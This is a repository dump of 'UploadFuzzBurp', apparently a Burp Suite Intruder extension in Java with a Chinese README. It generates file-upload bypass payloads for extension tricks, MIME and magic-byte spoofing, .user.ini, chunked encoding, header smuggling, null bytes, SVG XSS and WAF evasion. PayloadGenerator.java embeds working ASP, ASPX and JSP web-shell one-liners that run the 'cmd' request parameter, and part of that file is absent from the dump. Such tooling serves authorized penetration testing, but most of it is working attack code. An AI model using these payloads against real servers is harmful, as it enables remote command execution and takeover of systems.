├── .idea ├── .gitignore ├── compiler.xml ├── encodings.xml ├── jarRepositories.xml ├── misc.xml └── uiDesigner.xml ├── README.md ├── pom.xml └── src └── main └── java ├── BurpUploadMain.java ├── PayloadGenerator.java └── UploadFuzzer.java /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UploadFuzzBurp 2 | 3 | # 简介 4 | 根据T3nk0的进行编写java版本的burp文件上传fuzz，优化了一些逻辑、以及一些绕过的功能点，感谢T3nk0的开源精神，以前也想写这种upload fuzz的工具，但是上传包多样就没有搞了，没想到还有这种方法，学习到了。 5 | 6 | # 本人环境参考 7 | > burp环境burpsuite 2025.2 8 | > 9 | > 工具环境： 10 | > java17编写 11 | > java17编译 12 | 13 | # 功能介绍 14 | 1743504399847 15 | 16 | 1. 后缀绕过 17 | 18 | 2. 编码解码 19 | 20 | 3. 协议绕过 21 | 22 | 4. ....... 23 | 24 | # 使用方法 25 | 1.成功加载该插件 26 | 27 | 2.将需要fuzz的包，传送到Intruder中 28 | 29 | 3.设置这种部位为payload地址 30 | 31 | d7ddb43e46fa0a43360b7acd9741c31 32 | 33 | 4.然后设置如下内容 34 | 35 | 5bb289c7ea7184f13ce952090852061 36 | 37 | # 参考项目 38 | > https://github.com/T3nk0/Upload_Auto_Fuzz 39 | > 40 | > 以及一些文章，数量较多就不书列了。 41 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | UploadBurpFuzz 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 17 13 | 17 14 | UTF-8 15 | 16 | 17 | 18 | net.portswigger.burp.extender 19 | burp-extender-api 20 | 1.7.22 21 | 22 | 23 | 24 | 25 | 26 | org.apache.maven.plugins 27 | maven-assembly-plugin 28 | 29 | 30 | package 31 | 32 | single 33 | 34 | 35 | 36 | 37 | 38 | jar-with-dependencies 39 | 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /src/main/java/BurpUploadMain.java: -------------------------------------------------------------------------------- 1 | import burp.*; 2 | 3 | public class BurpUploadMain implements IBurpExtender, IIntruderPayloadGeneratorFactory { 4 | private IExtensionHelpers helpers; 5 | private IBurpExtenderCallbacks callbacks; 6 | 7 | @Override 8 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 9 | this.callbacks = callbacks; 10 | this.helpers = callbacks.getHelpers(); 11 | callbacks.setExtensionName("Upload Auto Fuzz"); 12 | 13 | callbacks.registerIntruderPayloadGeneratorFactory(this); 14 | 15 | callbacks.printOutput("loaded successfully - Author: e0e1 - Version: 1.0\ngithub: https://github.com/eeeeeeeeee-code/UploadFuzzBurp"); 16 | } 17 | 18 | @Override 19 | public String getGeneratorName() { 20 | return "Upload Auto Fuzz"; 21 | } 22 | 23 | @Override 24 | public IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack) { 25 | return new UploadFuzzer(this.helpers, attack, this.callbacks); 26 | } 27 | } -------------------------------------------------------------------------------- /src/main/java/PayloadGenerator.java: -------------------------------------------------------------------------------- 1 | import java.util.ArrayList; 2 | import java.util.Arrays; 3 | import java.util.HashSet; 4 | import java.util.List; 5 | import java.util.Set; 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | import java.util.Base64; 9 | 10 | public class PayloadGenerator { 11 | 12 | public static List getAttackPayloads(String template) { 13 | 14 | Pattern pattern = Pattern.compile("filename=\".*[.](.*?)\""); 15 | Matcher matcher = pattern.matcher(template); 16 | String filenameSuffix = ""; 17 | if (matcher.find()) { 18 | filenameSuffix = matcher.group(1); 19 | } 20 | 21 | String contentType = template.split("\n")[template.split("\n").length - 1]; 22 | 23 | List allPayloads = new ArrayList<>(); 24 | 25 | 26 | allPayloads.addAll(scriptSuffixFuzz(template, filenameSuffix)); 27 | allPayloads.addAll(cffFuzz(template, filenameSuffix)); 28 | allPayloads.addAll(contentTypeFuzz(template, filenameSuffix, contentType)); 29 | allPayloads.addAll(windowsFeaturesFuzz(template, filenameSuffix)); 30 | allPayloads.addAll(linuxFeaturesFuzz(template, filenameSuffix)); 31 | allPayloads.addAll(magicBytesFuzz(template, filenameSuffix)); 32 | allPayloads.addAll(fileContentTrickFuzz(template, filenameSuffix)); 33 | allPayloads.addAll(userIniFuzz(template, filenameSuffix)); 34 | allPayloads.addAll(mimeEncodingFuzz(template, filenameSuffix)); 35 | allPayloads.addAll(httpProtocolSplitFuzz(template, filenameSuffix)); 36 | allPayloads.addAll(chunkedEncodingFuzz(template, filenameSuffix)); 37 | allPayloads.addAll(wafBypassFuzz(template, filenameSuffix)); 38 | allPayloads.addAll(unicodeNormalizationFuzz(template, filenameSuffix)); 39 | allPayloads.addAll(httpHeaderSmugglingFuzz(template, filenameSuffix)); 40 | allPayloads.addAll(nullByteVariationsFuzz(template, filenameSuffix)); 41 | allPayloads.addAll(protocolHandlerFuzz(template, filenameSuffix)); 42 | allPayloads.addAll(svgXssFuzz(template, filenameSuffix)); 43 | allPayloads.addAll(webdavMethodFuzz(template, filenameSuffix)); 44 | allPayloads.addAll(fileContentBypassFuzz(template, filenameSuffix)); 45 | 46 | 47 | return removeDuplicates(allPayloads); 48 | } 49 | 50 | public static List getFuzzPayloadsForFullSection(String selectedArea) { 51 | List fullSectionPayloads = new ArrayList<>(); 52 | 53 | 54 | Pattern filenamePattern = Pattern.compile("filename=\"([^\"]*)\""); 55 | Matcher filenameMatcher = filenamePattern.matcher(selectedArea); 56 | 57 | Pattern contentPartPattern = Pattern.compile("Content-Type:.*?\\r\\n\\r\\n(.*?)$", Pattern.DOTALL); 58 | Matcher contentPartMatcher = contentPartPattern.matcher(selectedArea); 59 | 60 | if (!filenameMatcher.find() || !contentPartMatcher.find()) { 61 | 62 | fullSectionPayloads.add(selectedArea); 63 | return fullSectionPayloads; 64 | } 65 | 66 | String originalFilename = filenameMatcher.group(1); 67 | String originalContent = contentPartMatcher.group(1); 68 | 69 | 70 | String filenameSuffix = ""; 71 | if (originalFilename.contains(".")) { 72 | filenameSuffix = originalFilename.substring(originalFilename.lastIndexOf('.') + 1); 73 | 74 | } 75 | 76 | 77 | List phpContents = Arrays.asList( 78 | "", 79 | "" 80 | ); 81 | 82 | List aspContents = Arrays.asList( 83 | "<%eval request(\"cmd\")%>", 84 | "<%execute request(\"cmd\")%>" 85 | ); 86 | 87 | List aspxContents = Arrays.asList( 88 | "<%@ Page Language=\"C#\" %><%System.Diagnostics.Process.Start(\"cmd.exe\",\"/c \"+Request[\"cmd\"]);%>", 89 | "<%@ Page Language=\"C#\" %><%eval(Request.Item[\"cmd\"]);%>" 90 | ); 91 | 92 | List jspContents = Arrays.asList( 93 | "<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>", 94 | "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>" 95 | ); 96 | 97 | 98 | List wafBypassPrefixes = Arrays.asList( 99 | "GIF89a;\n", 100 | "#!MIME type image/gif\n", 101 | "" + content); 944 | contentBypassPayload.add(tempTemplateSuffix.replace(contentPart, newContentWithComment)); 945 | } 946 | } else { 947 | 948 | contentBypassPayload.add(tempTemplateSuffix); 949 | } 950 | } 951 | } 952 | 953 | return contentBypassPayload; 954 | } 955 | 956 | private static List removeDuplicates(List list) { 957 | Set set = new HashSet<>(list); 958 | return new ArrayList<>(set); 959 | } 960 | } -------------------------------------------------------------------------------- /src/main/java/UploadFuzzer.java: -------------------------------------------------------------------------------- 1 | import burp.IBurpExtenderCallbacks; 2 | import burp.IExtensionHelpers; 3 | import burp.IIntruderAttack; 4 | import burp.IIntruderPayloadGenerator; 5 | 6 | import java.util.ArrayList; 7 | import java.util.HashSet; 8 | import java.util.List; 9 | import java.util.Set; 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | public class UploadFuzzer implements IIntruderPayloadGenerator { 14 | private final IExtensionHelpers helpers; 15 | private final IIntruderAttack attack; 16 | private int payloadIndex = 0; 17 | private List attackPayloads = new ArrayList<>(); 18 | private boolean initialized = false; 19 | 20 | private final IBurpExtenderCallbacks callbacks; 21 | 22 | public UploadFuzzer(IExtensionHelpers helpers, IIntruderAttack attack, IBurpExtenderCallbacks callbacks) { // 添加callbacks参数 23 | this.helpers = helpers; 24 | this.attack = attack; 25 | this.callbacks = callbacks; 26 | } 27 | 28 | @Override 29 | public boolean hasMorePayloads() { 30 | if (!initialized) { 31 | return true; 32 | } 33 | 34 | return payloadIndex < attackPayloads.size(); 35 | } 36 | 37 | @Override 38 | public byte[] getNextPayload(byte[] baseValue) { 39 | if (!initialized) { 40 | callbacks.printOutput("开始初始化payload..."); // 添加调试信息 41 | initializePayloads(baseValue); 42 | initialized = true; 43 | callbacks.printOutput("初始化完成，共生成 " + attackPayloads.size() + " 个payload"); // 添加调试信息 44 | } 45 | 46 | if (payloadIndex >= attackPayloads.size()) { 47 | return baseValue; 48 | } 49 | 50 | String payload = attackPayloads.get(payloadIndex); 51 | payloadIndex++; 52 | return payload.getBytes(); 53 | } 54 | 55 | private void initializePayloads(byte[] baseValue) { 56 | String selectedArea = new String(baseValue); 57 | 58 | boolean isFullSection = selectedArea.contains("Content-Disposition:") && 59 | (selectedArea.contains("filename=") || selectedArea.contains("filename=\"")) && 60 | selectedArea.contains("Content-Type:"); 61 | 62 | callbacks.printOutput("是否为完整区域: " + isFullSection); 63 | 64 | if (isFullSection) { 65 | Matcher filenameMatcher = Pattern.compile("filename=\"([^\"]*)\"").matcher(selectedArea); 66 | Matcher namematcher = Pattern.compile("name=\"([^\"]*)\"").matcher(selectedArea); 67 | Matcher contentTypeMatcher = Pattern.compile("Content-Type:\\s*([^\\r\\n]*)").matcher(selectedArea); 68 | 69 | 70 | if (filenameMatcher.find() && filenameMatcher.group(1).contains(".")) { 71 | String originalFilename = filenameMatcher.group(1); 72 | String originalExt = originalFilename.substring(originalFilename.lastIndexOf('.') + 1); 73 | String name = namematcher.find() ? namematcher.group(1) : "file"; 74 | String contentType = contentTypeMatcher.find() ? contentTypeMatcher.group(1).trim() : "image/jpeg"; 75 | 76 | List sectionPayloads = PayloadGenerator.getFuzzPayloadsForFullSection(selectedArea); 77 | callbacks.printOutput("区域payload生成完成，数量: " + sectionPayloads.size()); // 添加调试信息 78 | 79 | String template = "Content-Disposition: form-data; name=\""+name+"\"; filename=\"test." + originalExt + 80 | "\"\r\nContent-Type:"+contentType; 81 | List singleElementPayloads = PayloadGenerator.getAttackPayloads(template); 82 | 83 | List convertedPayloads = new ArrayList<>(singleElementPayloads); 84 | 85 | Set uniquePayloads = new HashSet<>(); 86 | uniquePayloads.addAll(sectionPayloads); 87 | uniquePayloads.addAll(convertedPayloads); 88 | attackPayloads = new ArrayList<>(uniquePayloads); 89 | } else { 90 | attackPayloads = PayloadGenerator.getFuzzPayloadsForFullSection(selectedArea); 91 | } 92 | } else { 93 | attackPayloads = PayloadGenerator.getAttackPayloads(selectedArea); 94 | } 95 | 96 | // 限制 payload 数量防止内存溢出 97 | if (attackPayloads.size() > 1000) { 98 | attackPayloads = attackPayloads.subList(0, 1000); 99 | } 100 | 101 | attack.getHttpService().getHost(); 102 | } 103 | 104 | private List removeDuplicates(List list) { 105 | Set set = new HashSet<>(list); 106 | return new ArrayList<>(set); 107 | } 108 | 109 | @Override 110 | public void reset() { 111 | payloadIndex = 0; 112 | } 113 | } --------------------------------------------------------------------------------